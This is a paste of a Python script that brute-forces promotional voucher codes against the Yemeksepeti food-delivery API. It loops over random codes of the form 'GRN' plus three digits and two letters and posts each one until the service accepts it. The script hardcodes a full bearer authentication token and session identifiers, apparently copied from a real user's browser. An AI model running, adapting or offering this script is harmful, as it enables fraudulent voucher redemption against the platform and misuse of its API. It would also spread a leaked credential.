Facebook
From alii, 1 Year ago, written in Plain Text.
This paste is a reply to asda from asda - view diff
Embed
Download Paste or View Raw
Hits: 332
  1. import random
  2. import string
  3. import requests
  4. import time
  5. url = "https://tr.fd-api.com/.../incentives-wallet/vouchers/save..."
  6. headers = {
  7. "Accept": "application/json, text/plain, */*",
  8. "Accept-Encoding": "gzip, deflate, br, zstd",
  9. "Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7",
  10. "Authorization": "Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6ImtleW1ha2VyLWtleS12b2xvLXlzLXRyIiwidHlwIjoiSldUIn0.eyJpZCI6IjQxN2U3OHFmOThhZjluaXdpb21iemhud2oxanNzbTM5djA5MDdkeWgiLCJjbGllbnRfaWQiOiJ2b2xvIiwidXNlcl9pZCI6InRycGptaGxwIiwiZXhwaXJlcyI6MTcxMDE5NDYxOSwidG9rZW5fdHlwZSI6ImJlYXJlciIsInNjb3BlIjoiQVBJX0NVU1RPTUVSIEFQSV9SRUdJU1RFUkVEX0NVU1RPTUVSIn0.aK7axHK3pBidi5fcU0nb_zVsvti_FXGUw4XLHuSW_dRq4-ti0G3Q41SYcfGla0KG1YU3mQ_8YM7AhLPJJS61j-pqLIq2swoSzbulk47GxPXEbVd0m3D15NcvyTgihrYhcxGAQGq9cZdWJNZ8jiSLeImpp9a9larFhtyaQvg6czpSRpMBvlEUuGrimQPo80pCZGquEEmnQciGBPi22ZGhqpfjsoPYUupZ22pesRNi4AGqK16xr7fJyW4rKBs9hkK5qLc7h27513oaiEw4PlidY75fPk1EmNUFoKkqN9_k5Qj-eY887AwiEulTjln5iZxd30WwYqg_7V4wKc5i9fnfhw",
  11. "Cache-Control": "no-cache",
  12. "Content-Length": "19",
  13. "Content-Type": "application/json;charset=UTF-8",
  14. "Origin": "https://www.yemeksepeti.com",
  15. "Perseus-Client-Id": "1710190501325.80802173083327040.7g5udep56g",
  16. "Perseus-Session-Id": "1710190502734.950370322234302100.d0egwmw9h6",
  17. "Pragma": "no-cache",
  18. "Referer": "https://www.yemeksepeti.com/",
  19. "Sec-Ch-Ua": '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
  20. "Sec-Ch-Ua-Mobile": "?0",
  21. "Sec-Ch-Ua-Platform": '"Windows"',
  22. "Sec-Fetch-Dest": "empty",
  23. "Sec-Fetch-Mode": "cors",
  24. "Sec-Fetch-Site": "cross-site",
  25. "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
  26. "X-Fp-Api-Key": "volo"
  27. }
  28. found = False
  29. while not found:
  30. random_n = random.randint(100, 999)
  31. random_t = ''.join(random.choices(string.ascii_uppercase, k=2))
  32. code = "GRN" + str(random_n) + random_t
  33. # Sample data
  34. data = {
  35. "code": code
  36. }
  37. # Make the POST request
  38. response = requests.post(url, json=data, headers=headers)
  39. # Check if request was successful
  40. if response.status_code == 200:
  41. print("Voucher applied successfully!")
  42. found = True
  43. else:
  44. print("Error:", response.text, code)
  45. time.sleep(0.5)